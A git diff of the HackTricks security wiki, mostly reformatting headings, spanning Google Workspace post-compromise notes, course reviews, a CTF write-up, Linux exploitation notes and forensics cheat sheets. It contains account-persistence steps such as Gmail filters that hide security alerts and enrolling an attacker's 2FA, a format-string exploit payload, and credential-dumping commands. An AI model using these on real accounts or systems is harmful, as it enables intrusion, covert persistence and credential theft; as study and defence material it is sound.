Google Knows about an account +### Takeout - Download Everything Google Knows about an account If you have a **session inside victims google account** you can download everything Google saves about that account from [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none) -## Vault - Download all the Workspace data of users +### Vault - Download all the Workspace data of users If an organization has **Google Vault enabled**, you might be able to access [**https://vault.google.com**](https://vault.google.com/u/1/) and **download** all the **information**. -## Contacts download +### Contacts download From [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es\&tab=mC) you can download all the **contacts** of the user. -## Cloudsearch +### Cloudsearch In [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) you can just search **through all the Workspace content** (email, drive, sites...) a user has access to. Ideal to **find quickly sensitive information**. -## Currents +### Currents In [**https://currents.google.com/**](https://currents.google.com) you can access a Google **Chat**, so you might find sensitive information in there. -## Google Drive Mining +### Google Drive Mining When **sharing** a document yo can **specify** the **people** that can access it one by one, **share** it with your **entire company** (**or** with some specific **groups**) by **generating a link**. @@ -175,28 +174,28 @@ Some proposed ways to find all the documents: * Search in internal chat, forums... * **Spider** known **documents** searching for **references** to other documents. You can do this within an App Script with[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser) -## **Keep Notes** +### **Keep Notes** In [**https://keep.google.com/**](https://keep.google.com) you can access the notes of the user, **sensitive** **information** might be saved in here. -## Persistence inside a Google account +### Persistence inside a Google account If you managed to **compromise a google user session** and the user had **2FA**, you can **generate** an [**app password**](https://support.google.com/accounts/answer/185833?hl=en) and **regenerate the 2FA backup codes** to know that even if the user change the password you **will be able to access his account**. Another option **instead** of **regenerating** the codes is to **enrol your own authenticator** app in the 2FA. -## Persistence via OAuth Apps +### Persistence via OAuth Apps If you have **compromised the account of a user,** you can just **accept** to grant all the possible permissions to an **OAuth App**. The only problem is that Workspace can configure to **disallow external and/or internal OAuth apps** without being reviewed.\ It is pretty common to not trust by default external OAuth apps but trust internal ones, so if you have **enough permissions to generate a new OAuth application** inside the organization and external apps are disallowed, generate it and **use that new internal OAuth app to maintain persistence**. -## Persistence via delegation +### Persistence via delegation You can just **delegate the account** to a different account controlled by the attacker. -## Persistence via Android App +### Persistence via Android App If you have a **session inside victims google account** you can browse to the **Play Store** and **install** a **malware** you have already uploaded it directly **in the phone** to maintain persistence and access the victims phone. -## **Persistence via Gmail** +### **Persistence via Gmail** * You can create **filters to hide** security notifications from Google * from: (no-reply@accounts.google.com) "Security Alert" @@ -205,19 +204,19 @@ If you have a **session inside victims google account** you can browse to the ** * Create a forwarding address to send emails that contains the word "password" for example * Add **recovery email/phone under attackers control** -## **Persistence via** App Scripts +### **Persistence via** App Scripts You can create **time-based triggers** in App Scripts, so if the App Script is accepted by the user, it will be **triggered** even **without the user accessing it**. The docs mention that to use `ScriptApp.newTrigger("funcion")` you need the **scope** `script.scriptapp`, but **apparently thats not necessary** as long as you have declare some other scope. -## **Administrate Workspace** +### **Administrate Workspace** In [**https://admin.google.com**/](https://admin.google.com), if you have enough permissions you might be able to modify settings in the Workspace of the whole organization. You can also search emails through all the users invoices in [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch) -# Account Compromised Recovery +## Account Compromised Recovery * Log out of all sessions * Change user password @@ -231,12 +230,11 @@ You can also search emails through all the users invoices in [**https://admin.go * Remove bad Android Apps * Remove bad account delegations -# References +## References * [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic * [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite? -
Support HackTricks and get benefits! @@ -252,5 +250,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md index eb703561..a3705014 100644 --- a/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md +++ b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md @@ -1,4 +1,4 @@ - +# INE Courses and eLearnSecurity Certifications Reviews
@@ -16,27 +16,26 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## eLearnSecurity Mobile Application Penetration Tester (eMAPT) and the respective INE courses -# eLearnSecurity Mobile Application Penetration Tester (eMAPT) and the respective INE courses - -## Course: [**Android & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting) +### Course: [**Android & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting) This is the course to **prepare for the eMAPT certificate exam**. It will teach you the **basics of Android** as OS, how the **applications works**, the **most sensitive components** of the Android applications, and how to **configure and use** the main **tools** to test the applications. The goal is to **prepare you to be able to pentest Android applications in the real life**. I found the course to be a great one for **people that don't have any experience pentesting Android** applications. However, **if** you are someone with **experience** in the topic and you have access to the course I also recommend you to **take a look to it**. That **was my case** when I did this course and even having a few years of experience pentesting Android applications **this course taught me some Android basics I didn't know and some new tricks**. Finally, note **two more things** about this course: It has **great labs to practice** what you learn, however, it **doesn't explain every possible vulnerability** you can find in an Android application. Anyway, that's not an issue as **it teach you the basics to be able to understand other Android vulnerabilities**.\ -Besides, once you have completed the course (or before) you can go to the [**Hacktricks Android Applications pentesting section**](../mobile-apps-pentesting/android-app-pentesting/) and learn more tricks. +Besides, once you have completed the course (or before) you can go to the [**Hacktricks Android Applications pentesting section**](../mobile-pentesting/android-app-pentesting/) and learn more tricks. -## Course: [**iOS & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) +### Course: [**iOS & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) When I performed this course I didn't have much experience with iOS applications, and I found this **course to be a great resource to get me started quickly in the topic, so if you have the chance to perform the course don't miss the opportunity.** As the previous course, this course will teach you the **basics of iOS**, how the **iOS** **applications works**, the **most sensitive components** of the applications, and how to **configure and use** the main **tools** to test the applications.\ However, there is a very important difference with the Android course, if you want to follow the labs, I would recommend you to **get a jailbroken iOS or pay for some good iOS emulator.** As in the previous course, this course has some very useful labs to practice what you learn, but it doesn't explain every possible vulnerability of iOS applications. However, that's not an issue as **it teach you the basics to be able to understand other iOS vulnerabilities**.\ -Besides, once you have completed the course (or before) you can go to the [**Hacktricks iOS Applications pentesting section**](../mobile-apps-pentesting/ios-pentesting/) and learn more tricks. +Besides, once you have completed the course (or before) you can go to the [**Hacktricks iOS Applications pentesting section**](../mobile-pentesting/ios-pentesting/) and learn more tricks. -## [eMAPT](https://elearnsecurity.com/product/emapt-certification/) +### [eMAPT](https://elearnsecurity.com/product/emapt-certification/) > The eLearnSecurity Mobile Application Penetration Tester (eMAPT) certification is issued to cyber security experts that display advanced mobile application security knowledge through a scenario-based exam. @@ -48,16 +47,16 @@ Having done the [**INE course about Android applications pentesting**](https://m In this exam I **missed the opportunity to exploit more vulnerabilities**, however, **I lost a bit the "fear" to write Android applications to exploit a vulnerability**. So it felt just like **another part of the course to complete your knowledge in Android applications pentesting**. -# eLearnSecurity Web application Penetration Tester eXtreme (eWPTXv2) and the INE course related +## eLearnSecurity Web application Penetration Tester eXtreme (eWPTXv2) and the INE course related -## Course: [**Web Application Penetration Testing eXtreme**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme) +### Course: [**Web Application Penetration Testing eXtreme**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme) -This course is the one meant to **prepare** you for the **eWPTXv2** **certificate** **exam**. \ +This course is the one meant to **prepare** you for the **eWPTXv2** **certificate** **exam**.\ Even having been working as web pentester for several years before doing the course, it taught me several **neat hacking tricks about "weird" web vulnerabilities and ways to bypass protections**. Moreover, the course contains **pretty nice labs where you can practice what you learn**, and that is always helpful to fully understand the vulnerabilities. I think this course **isn't for web hacking beginners** (there are other INE courses for that like [**Web Application Penetration Testing**](https://my.ine.com/CyberSecurity/courses/38316560/web-application-penetration-testing)**).** However, if you aren't a beginner, independently on the hacking web "level" you think you have, **I definitely recommend you to take a look to the course** because I'm sure you **will learn new things** like I did. -## [eWPTXv2](https://elearnsecurity.com/product/ewptxv2-certification/) +### [eWPTXv2](https://elearnsecurity.com/product/ewptxv2-certification/) > The eLearnSecurity Web Application Penetration Tester eXtreme (eWAPTX) is our most advanced web application pentesting certification. The eWPTX exam requires students to perform an expert-level penetration test that is then assessed by INE’s cyber security instructors. Students are expected to provide a complete report of their findings as they would in the corporate sector in order to pass. @@ -66,24 +65,24 @@ The exam was composed of a **few web applications full of vulnerabilities**. In **All the vulnerabilities I reported could be found explained in the** [**Web Application Penetration Testing eXtreme course**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)**.** However, order to pass this exam I think that you **don't only need to know about web vulnerabilities**, but you need to be **experienced exploiting them**. So, if you are doing the course, at least practice with the labs and potentially play with other platform where you can improve your skills exploiting web vulnerabilities. -# Course: **Data Science on the Google Cloud Platform** +## Course: **Data Science on the Google Cloud Platform** \ It's a very interesting basic course about **how to use the ML environment provided by Google** using services such as big-query (to store al load results), Google Deep Learning APIs (Google Vision API, Google Speech API, Google Natural Language API and Google Video Intelligence API) and even how to train your own model. -# Course: **Machine Learning with scikit-learn Starter Pass** +## Course: **Machine Learning with scikit-learn Starter Pass** In the course [**Machine Learning with scikit-learn Starter Pass**](https://my.ine.com/DataScience/courses/58c4e71b/machine-learning-with-scikit-learn-starter-pass) you will learn, as the name indicates, **how to use scikit-learn to create Machine Learning models**. It's definitely recommended for people that haven't use scikit-learn (but know python) -# **Course: Classification Algorithms** +## **Course: Classification Algorithms** The [**Classification Algorithms course**](https://my.ine.com/DataScience/courses/2c6de5ea/classification-algorithms) is a great course for people that is **starting to learn about machine learning**. Here you will find information about the main classification algorithms you need to know and some mathematical concepts like **logistic regression** and **gradient descent**, **KNN**, **SVM**, and **Decision trees**. It also shows how to **create models** with with **scikit-learn.** -# Course: **Decision Trees** +## Course: **Decision Trees** The [**Decision Trees course**](https://my.ine.com/DataScience/courses/83fcfd52/decision-trees) was very useful to improve my knowledge about **Decision and Regressions Trees**, **when** are they **useful**, **how** they **work** and how to properly **tune them**. @@ -91,8 +90,7 @@ It also explains **how to create tree models** with scikit-learn different techn The only drawback I could find was in some cases some lack of mathematical explanations about how the used algorithm works. However, this course is **pretty useful for people that are learning about Machine Learning**. -# - +##
@@ -109,5 +107,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/ctf-write-ups/try-hack-me/pickle-rick.md b/ctf-write-ups/try-hack-me/pickle-rick.md index b6777cba..e12041fe 100644 --- a/ctf-write-ups/try-hack-me/pickle-rick.md +++ b/ctf-write-ups/try-hack-me/pickle-rick.md @@ -1,5 +1,7 @@ # Pickle Rick +## Pickle Rick +
Support HackTricks and get benefits! @@ -16,16 +18,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- ![](../../.gitbook/assets/picklerick.gif) This machine was categorised as easy and it was pretty easy. -# Enumeration +## Enumeration I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion): -![](<../../.gitbook/assets/image (79) (2).png>) +![](<../../.gitbook/assets/image (79) (1).png>) In as you can see 2 ports are open: 80 (**HTTP**) and 22 (**SSH**) @@ -49,7 +50,7 @@ Checking the source code of the root page, a username is discovered: `R1ckRul3s` Therefore, you can login on the login page using the credentials `R1ckRul3s:Wubbalubbadubdub` -# User +## User Using those credentials you will access a portal where you can execute commands: @@ -71,7 +72,7 @@ The **second ingredient** can be found in `/home/rick` ![](<../../.gitbook/assets/image (240).png>) -# Root +## Root The user **www-data can execute anything as sudo**: diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md index 8275ce10..01b88b1d 100644 --- a/exploiting/linux-exploiting-basic-esp/README.md +++ b/exploiting/linux-exploiting-basic-esp/README.md @@ -1,5 +1,7 @@ # Linux Exploiting (Basic) (SPA) +## Linux Exploiting (Basic) (SPA) +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# **ASLR** +## **ASLR** Aleatorización de direcciones @@ -62,7 +63,7 @@ int i = 5; **Sección STACK**: La pila (Argumentos pasados, cadenas de entorno (env), variables locales…) -# **1.STACK OVERFLOWS** +## **1.STACK OVERFLOWS** > buffer overflow, buffer overrun, stack overrun, stack smashing @@ -74,15 +75,15 @@ Para obtener la dirección de una función dentro de un programa se puede hacer: objdump -d ./PROGRAMA | grep FUNCION ``` -# ROP +## ROP -## Call to sys\_execve +### Call to sys\_execve {% content-ref url="rop-syscall-execv.md" %} [rop-syscall-execv.md](rop-syscall-execv.md) {% endcontent-ref %} -# **2.SHELLCODE** +## **2.SHELLCODE** Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” @@ -218,7 +219,7 @@ En fvuln se puede introducir un EBP falso que apunte a un sitio donde esté la d **Off-by-One Exploit**\ Se permite modificar tan solo el byte menos significativo del EBP. Se puede llevar a cabo un ataque como el anterior pero la memoria que guarda la dirección de la shellcode debe compartir los 3 primeros bytes con el EBP. -# **4. Métodos return to Libc** +## **4. Métodos return to Libc** Método útil cuando el stack no es ejecutable o deja un buffer muy pequeño para modificar. @@ -276,7 +277,7 @@ Esta shellcode se puede repetir indefinidamente en las partes de memoria a las q (Se encadena la ejecución de funciones mezclando las vulnerabilidades vistas anteriormente de EBP y de ret2lib) -# **5.Métodos complementarios** +## **5.Métodos complementarios** **Ret2Ret** @@ -369,7 +370,7 @@ Este tipo de overflows no busca lograr escribir algo en el proceso del programa, No se sabe el valor que puede tomar una variable no inicializada y podría ser interesante observarlo. Puede ser que tome el valor que tomaba una variable de la función anterior y esta sea controlada por el atacante. -# **Format Strings** +## **Format Strings** In C **`printf`** is function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. @@ -394,7 +395,7 @@ AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -## \*\*GOT (Global Offsets Table) / PLT (\*\*Procedure Linkage Table) +### \*\*GOT (Global Offsets Table) / PLT (\*\*Procedure Linkage Table) This is the table that contains the **address** to the **external functions** used by the program. @@ -404,7 +405,7 @@ Get the address to this table with: **`objdump -s -j .got ./exec`** Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xDIR_GOT` -![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (2).png>) +![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1).png>) Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: @@ -419,7 +420,7 @@ Then, the **next time** a call is performed to that address the **function** is You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** -## **Exploit Flow** +### **Exploit Flow** As explained before the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Ideally we could set the **address to a shellcode** located in a executable section, but highly probable you won't be able to write a shellcode in a executable section.\ So a different option is to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**. @@ -441,7 +442,7 @@ HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\ \`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\` -## **Format String Exploit Template** +### **Format String Exploit Template** You an find a **template** to exploit the GOT using format-strings here: @@ -449,7 +450,7 @@ You an find a **template** to exploit the GOT using format-strings here: [format-strings-template.md](format-strings-template.md) {% endcontent-ref %} -## **.fini\_array** +### **.fini\_array** Essentially this is a structure with **functions that will be called** before the program finishes. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go back to main again to **exploit the format string a second time**. @@ -466,14 +467,14 @@ Contents of section .fini_array: Note that this **won't** **create** an **eternal loop** because when you get back to main the canary will notice, the end of the stack might be corrupted and the function won't be recalled again. So with this you will be able to **have 1 more execution** of the vuln. -## **Format Strings to Dump Content** +### **Format Strings to Dump Content** A format string can also be abused to **dump content** from the memory of the program.\ For example, in the following situation there is a **local variable in the stack pointing to a flag.** If you **find** where in **memory** the **pointer** to the **flag** is, you can make **printf access** that **address** and **print** the **flag**: So, flag is in **0xffffcf4c** -![](<../../.gitbook/assets/image (618) (2).png>) +![](<../../.gitbook/assets/image (622).png>) And from the leak you can see the **pointer to the flag** is in the **8th** parameter: @@ -485,7 +486,7 @@ So, **accessing** the **8th parameter** you can get the flag: Note that following the **previous exploit** and realising that you can **leak content** you can **set pointers** to **`printf`** to the section where the **executable** is **loaded** and **dump** it **entirely**! -## **DTOR** +### **DTOR** {% hint style="danger" %} Nowadays is very **weird to find a binary with a dtor section**. @@ -502,12 +503,12 @@ rabin -s /exec | grep “__DTOR” Usually you will find the **DTOR** section **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it. -## **Format Strings to Buffer Overflows** +### **Format Strings to Buffer Overflows** Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\ For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow. -## **\_\_atexit Structures** +### **\_\_atexit Structures** {% hint style="danger" %} Nowadays is very **weird to exploit this**. @@ -518,7 +519,7 @@ If you can **modify** the **address** of any of these **functions** to point to Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64\_86**.\ The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. -## **setjmp() & longjmp()** +### **setjmp() & longjmp()** {% hint style="danger" %} Nowadays is very **weird to exploit this**. @@ -537,7 +538,7 @@ Each class has a **Vtable** which is an array of **pointers to methods**. Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof its class. The VPtr is part of the header of each object, so if an **overwrite** of the **VPtr** is achieved it could be **modified** to **point** to a dummy method so that executing a function would go to the shellcode. -# **Medidas preventivas y evasiones** +## **Medidas preventivas y evasiones** **ASLR no tan aleatorio** @@ -591,7 +592,7 @@ Si se usa la función execve() después de fork(), se sobreescribe el espacio y **Relocation Read-Only (RELRO)** -## Relro +### Relro **Relro (Read only Relocation)** affects the memory permissions similar to NX. The difference is whereas with NX it makes the stack executable, RELRO makes **certain things read only** so we **can't write** to them. The most common way I've seen this be an obstacle is preventing us from doing a **`got` table overwrite**, which will be covered later. The `got` table holds addresses for libc functions so that the binary knows what the addresses are and can call them. Let's see what the memory permissions look like for a `got` table entry for a binary with and without relro. @@ -743,7 +744,7 @@ Memcheck\ RAD (Return Address Defender)\ Insure++ -# **8 Heap Overflows: Exploits básicos** +## **8 Heap Overflows: Exploits básicos** **Trozo asignado** @@ -862,7 +863,7 @@ En caso de querer volver a usar uno se asignaría sin problemas. En caso de quer Un puntero previamente liberado es usado de nuevo sin control. -# **8 Heap Overflows: Exploits avanzados** +## **8 Heap Overflows: Exploits avanzados** Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink(). @@ -1078,12 +1079,12 @@ Consiste en mediante reservas y liberaciones sementar la memoria de forma que qu **objdump -p -/exec**\ **Info functions strncmp —>** Info de la función en gdb -# Interesting courses +## Interesting courses * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) -# **References** +## **References** * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html) diff --git a/forensics/basic-forensic-methodology/docker-forensics.md b/forensics/basic-forensic-methodology/docker-forensics.md index ef991315..327e3474 100644 --- a/forensics/basic-forensic-methodology/docker-forensics.md +++ b/forensics/basic-forensic-methodology/docker-forensics.md @@ -1,4 +1,4 @@ - +# Docker Forensics
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Container modification +## Container modification There are suspicions that some docker container was compromised: @@ -64,7 +63,7 @@ If you find that **some suspicious file was added** you can access the container docker exec -it wordpress bash ``` -# Images modifications +## Images modifications When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: @@ -81,7 +80,7 @@ Then, you can **decompress** the image and **access the blobs** to search for su tar -xf image.tar ``` -## Basic Analysis +### Basic Analysis You can get **basic information** from the image running: @@ -102,7 +101,7 @@ alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpi dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` -## Dive +### Dive In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: @@ -125,12 +124,11 @@ tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` -# Credentials from memory +## Credentials from memory Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-unix/privilege-escalation/#process-memory). - +Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory).
@@ -147,5 +145,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md b/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md index f0682ea0..e5c98039 100644 --- a/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md +++ b/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md @@ -1,4 +1,4 @@ - +# Volatility - CheatSheet
@@ -16,16 +16,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) ```bash python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # Will use most important plugins (could use a lot of space depending on the size of the memory) ``` -# Installation +## Installation -## volatility3 +### volatility3 ```bash git clone https://github.com/volatilityfoundation/volatility3.git @@ -34,7 +33,7 @@ python3 setup.py install python3 vol.py —h ``` -## volatility2 +### volatility2 {% tabs %} {% tab title="Method1" %} @@ -52,11 +51,11 @@ python setup.py install {% endtab %} {% endtabs %} -# Volatility Commands +## Volatility Commands Access the official doc in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) -## A note on “list” vs. “scan” plugins +### A note on “list” vs. “scan” plugins Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of `_EPROCESS` structures in memory), OS handles (locating and listing the handle table, dereferencing any pointers found, etc). They more or less behave like the Windows API would if requested to, for example, list processes. @@ -66,9 +65,9 @@ That makes “list” plugins pretty fast, but just as vulnerable as the Windows From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) -# OS Profiles +## OS Profiles -## Volatility3 +### Volatility3 As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\ Symbol table packs for the various operating systems are available for **download** at: @@ -77,9 +76,9 @@ Symbol table packs for the various operating systems are available for **downloa * [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) * [https://downloads.volatilityfoundation.org/volatility3/symbols/linux.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/linux.zip) -## Volatility2 +### Volatility2 -### External Profile +#### External Profile You can get the list of supported profiles doing: @@ -103,20 +102,20 @@ VistaSP0x86 - A Profile for Windows Vista SP0 You can **download Linux and Mac profiles** from [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) -In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64` , and you can use it executing something like: +In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64` , and you can use it executing something like: ```bash ./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan ``` -### Discover Profile +#### Discover Profile ``` volatility imageinfo -f file.dmp volatility kdbgscan -f file.dmp ``` -### **Differences between imageinfo and kdbgscan** +#### **Differences between imageinfo and kdbgscan** As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it (from [here](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)). @@ -134,11 +133,11 @@ PsActiveProcessHead : 0xfffff800011947f0 (0 processes) PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) ``` -### KDBG +#### KDBG The **kernel debugger block** (named KdDebuggerDataBlock of the type \_KDDEBUGGER\_DATA64, or **KDBG** by volatility) is important for many things that Volatility and debuggers do. For example, it has a reference to the PsActiveProcessHead which is the list head of all processes required for process listing. -# OS Information +## OS Information ```bash #vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info) @@ -147,9 +146,9 @@ The **kernel debugger block** (named KdDebuggerDataBlock of the type \_KDDEBUGGE The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump. -# Hashes/Passwords +## Hashes/Passwords -Extract SAM hashes, [domain cached credentials](../../../windows/stealing-credentials/credentials-protections.md#cached-credentials) and [lsa secrets](../../../windows/authentication-credentials-uac-and-efs.md#lsa-secrets). +Extract SAM hashes, [domain cached credentials](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) and [lsa secrets](../../../windows-hardening/authentication-credentials-uac-and-efs.md#lsa-secrets). {% tabs %} {% tab title="vol3" %} @@ -169,7 +168,7 @@ volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets {% endtab %} {% endtabs %} -# Memory Dump +## Memory Dump The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**. @@ -177,9 +176,9 @@ The memory dump of a process will **extract everything** of the current status o volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ``` -# Processes +## Processes -## List processes +### List processes Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\ It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes. @@ -203,7 +202,7 @@ volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list {% endtab %} {% endtabs %} -## Dump proc +### Dump proc {% tabs %} {% tab title="vol3" %} @@ -219,7 +218,7 @@ volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f fil {% endtab %} {% endtabs %} -## Command line +### Command line Anything suspicious was executed? @@ -240,7 +239,7 @@ volatility --profile=PROFILE consoles -f file.dmp #command history by scanning f Commands entered into cmd.exe are processed by **conhost.exe** (csrss.exe prior to Windows 7). So even if an attacker managed to **kill the cmd.exe** **prior** to us obtaining a memory **dump**, there is still a good chance of **recovering history** of the command line session from **conhost.exe’s memory**. If you find **something weird** (using the consoles modules), try to **dump** the **memory** of the **conhost.exe associated** process and **search** for **strings** inside it to extract the command lines. -## Environment +### Environment Get the env variables of each running process. There could be some interesting values. @@ -260,7 +259,7 @@ volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of proc {% endtab %} {% endtabs %} -## Token privileges +### Token privileges Check for privileges tokens in unexpected services.\ It could be interesting to list the processes using some privileged token. @@ -285,7 +284,7 @@ volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePri {% endtab %} {% endtabs %} -## SIDs +### SIDs Check each SSID owned by a process.\ It could be interesting to list the processes using a privileges SID (and the processes using some service SID). @@ -306,7 +305,7 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of {% endtab %} {% endtabs %} -## Handles +### Handles Useful to know to which other files, keys, threads, processes... a **process has a handle** for (has opened) @@ -324,14 +323,13 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] {% endtab %} {% endtabs %} -## DLLs +### DLLs {% tabs %} {% tab title="vol3" %} ```bash ./vol.py -f file.dmp windows.dlllist.DllList [--pid ] #List dlls used by each ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid 